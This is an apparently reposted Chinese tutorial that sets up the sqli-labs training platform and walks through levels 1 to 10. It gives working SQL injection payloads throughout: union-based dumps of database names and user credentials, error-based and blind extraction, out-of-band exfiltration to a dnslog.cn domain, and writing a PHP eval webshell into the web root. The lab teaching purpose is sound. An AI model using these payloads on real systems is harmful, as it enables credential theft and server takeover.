SQL-Labs从搭建到闯关(SQL注入天书)
Posted 風月长情
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL-Labs从搭建到闯关(SQL注入天书)相关的知识,希望对你有一定的参考价值。
一、介绍
sql-labs是一个学习sql注入的平台,一共65关,每一关介绍了一种注入的类型。
(1-22关)
二、环境搭建
- GitHub项目地址:https://github.com/Audi-1/sqli-labs
》》启动phpstudy
》》将sql-labs解压到站点目录
》》进入到sqli-labs靶机站点,点击重置数据库即可在mysql中创建了数据库
》》进入到关卡1
三、注入类型
3.1 Less-1 字符型注入,基于错误的GET单引号
第一步: 判断是否存在注入点
》》输入?id=1 显示出了数据库中第一行的数据
》》输入单引号报错(注意是英文字符,可能存在sql注入)
》》输入’ and ‘1’='1不报错,确定存在注入点
Tips:原理理解:
数据库中不闭合会报错:
查看用户名、密码相当于数据库中执行了如下操作(红框中分别是站点中输入的验证poc和数据库中输入的命令):
查看后端源码:
第二步 判断当前注入表中的列数
通过order by的语句的查询当前表中的列数,超出列数量会报错的逻辑来判断当前注入点所在表的列数。
输入 ’ order by 3 --+ 正常显示
输入 ’ order by 4 --+ 报错判断当前表中有3列:
Tips:原理理解:
由于users表中一共就有三列,会报错,通过此逻辑判断数据库表中共有几列
第三步 判断显示位
显示位:存在注入点的当前页面中能够查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据。
union前的数据要为“假”
Tips:原理理解:
union为联合查询,用于连接两个以上的select语句到一个结果集中,输入表中超出的列数会报错
联合查询程序在显示数据时只会显示第一行数据,只要让第一行的查询为空集(即union左边的为空)union右边的数据自然打印了出来
第四步 根据SQL语法爆数据
1.爆出当前数据库(显示位输入SQL语句)
2.爆出所有数据库
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata; --+
如果是在最后一个显示位,可以使用如下写法:
3.爆出所有表
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
4.爆出users表中字段
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
5.爆出users表中数据
http://localhost:81/sqli-labs/less-1/?id=-1' union select 1,2,group_concat(username,"-",password) from users --+
3.2 Less-2 整型注入,基于错误的GET
输入’ 报错
输入’ and ‘1’='1 也报错
输入 and 1=1 不报错,输入and 1=2不显示数据,判断为整形注入
查看源码
3.3 Less-3 字符型注入,基于错误的单引号变形
》》输入’ 报错,输入’ --+仍报错,输入 and 1=1 /and 1=2无反应
》》输入’) 报错,输入’) --+成功显示,输入’) and 1=1 --+成功显示,输入and 1=2 报错判断为字符型单引号变形注入
查看后端源码:
3.4 Less-4 字符型注入,基于错误的双引号变形
》输入") 报错,输入") --+成功显示
》》查看后端源码
3.5 Less-5 双注入,基于单引号的字符型注入
输入’报错,输入‘ --+显示数据:
但是通过union联合查询发现没有显示位
查看后端源码:(虽是单引号注入,但是没有显示id=1当前列的其它数据行)
这种情况下利用mysql的双查询报错爆出数据
原理理解:
双注入/二次查询注入:一个select语句嵌套另一个select语句,里面的select语句先执行再执行外边的select语句。
concat():连接两个语句
rand():随机输出一个小于1的小数
floor():向下取整
group by():把结果分组输出
count():汇总数据函数
》》先执行的select database() 再执行外边的语句
》》向下取整,floor()结合rand()函数取出的结果非0即1
》》concat()函数连接两个语句
》》group by()进行分组(必须要有一个表这里使用的是mysql固定的表)
select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by 1;
》》添加至count()函数时候会报错,由此可以在第一个地方输入sql语句来爆出数据
使用报错逐行爆数据,使用limit逐行去查看数据(limit 1,1查看第二行数据)
select null,count(*),concat((select table_name from information_schema.tables where table_schema='security'limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a;
3.6 Less-6 双注入,基于双引号的字符型注入
上边单引号变成双引号
3.7 Less-7 字符型注入,基于单引号变形注入之导入文件
基础
限制:本关需要上传文件,但是没有站点的路径,这里使用mysql的load_file()函数导出访问dnslog平台实现带外攻击拿到站点路径(mysql配置文件需要设置secure_file_priv为空)
查看后端源码:
函数巩固:
– @@basedir:显示mysql的安装目录
– @@datadir:显示mysql的数据目录
– load_file():读取一个文件并将其内容当做字符串返回,可以加载本地文件和远程服务器的文件,此函数只能读取文件不能读取目录,因此结合dnslog访问的时候需要加上文件名才会有回显,读取远程文件需要“\\+域名+文件名”
– concat():将多个字符串连接成一个字符串
– substr(1,2,3):截取字符串,1:字符串,2:字符串的起始值,3:截取的长度
– hex():16进制转换
整体思路:
通过使用load_file导出访问dnslog平台,通过hex()对查看的@@basedir mysql的安装目录进行16进制转换,避免url显示不出特殊符号,因为url长度有限使用substr()函数截取函数分段显示然后再拼接一起查看load_file(concat('\\\\\\\\',(substr(hex(@@basedir),1,3)),'.6nbxn6.dnslog.cn\\\\1.txt'));
导出限制:
secure_file_priv(设置默认为NULL,限制导入导出,详情访问)
mysql5.0.x版本以下默认可导出导入,mysql8.x之前安装目录下存在,my.ini文件可以先添加如下进行允许导入导出:
设置为在 [mysqld下],重启服务
操作
》》dnslog平台先获取一个域名
》》通过注入将payload注入到mysql语句中实现导入操作(前提secure_file_priv已经设置)
1')) and load_file(concat('\\\\\\\\',substr(hex(@@basedir),1,30),'.<dnslos_domain>\\\\1.txt')); --+
》》刷新并查看dnslog平台
》》记录31-30后边的截取字符,payload:
1')) and load_file(concat('\\\\\\\\',substr(hex(@@basedir),31,30),'.pw5a1n.dnslog.cn\\\\1.txt')); --+
》》对两此或者多次结果(如果安装目录长的话)进行三级域名拼接
》》拼接之后(这里进行了四次拼接)
443A5C53494C5C656E7669726F6E6D656E745C70687073747564795C70687073747564795F70726F5C457874656E73696F6E735C4D7953514C352E37
》》进行16进制解码拿到路径
通过此方法只获取到了mysql的安装路径,并没有获取站点路径,真实场景需要通过报错或者猜解获取网站路径
由于是PHPStrudy我们知道网站根路径:D:\\SIL\\environment\\phpstudy\\phpstudy_pro\\WWW
写文件
由于secure_file_priv设置为了空,可以导入和导出文件,这里知道站点路径直接写入(站点路径只针对本PHPStudy站点)
直接写入:
select <str> into outfile <addr>:将查询结果写入到文件中
-1')) union select '','',"<?php @eval($_POST['bong']) ?>" into outfile "D:/SIL/environment/phpstudy/phpstudy_pro/WWW/test.php" --+
》》查看到站点目录下成功写入:
》》远程管理工具连接
3.8 Less-8 GET型 布尔型单引号盲注
正常显示
输入单引号, 后边输入-- +显示,可以判断为布尔型盲注:
知识巩固
substr截取数据库的每个字符,然后通过ascii来逐个判断
使用二分法判断逐个判断数据库每个字符:
》》通过注入逻辑判断的相关命令,大于114显示正常
》》大于116显示错误,可以判断第一个字符的ascii为115,对应ascii表可知数据库的第一个字符为 “s”
3.9 Less-9 延时盲注 单引号
查看后端源代码,返回正确和错误当前页面都无变化,只能使用延时注入通过注入延时函数加载页面的时长来判断是否存在注入:
通过以下payload进行输入:
1' and if(ascii(mid(database(),1,1))=115,sleep(3),0) --+
3.10 Less-10 延时注入 双引号
上边单引号换成双引号即可:
查看源码:
3.11 Less-11
以上是关于SQL-Labs从搭建到闯关(SQL注入天书)的主要内容,如果未能解决你的问题,请参考以下文章
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)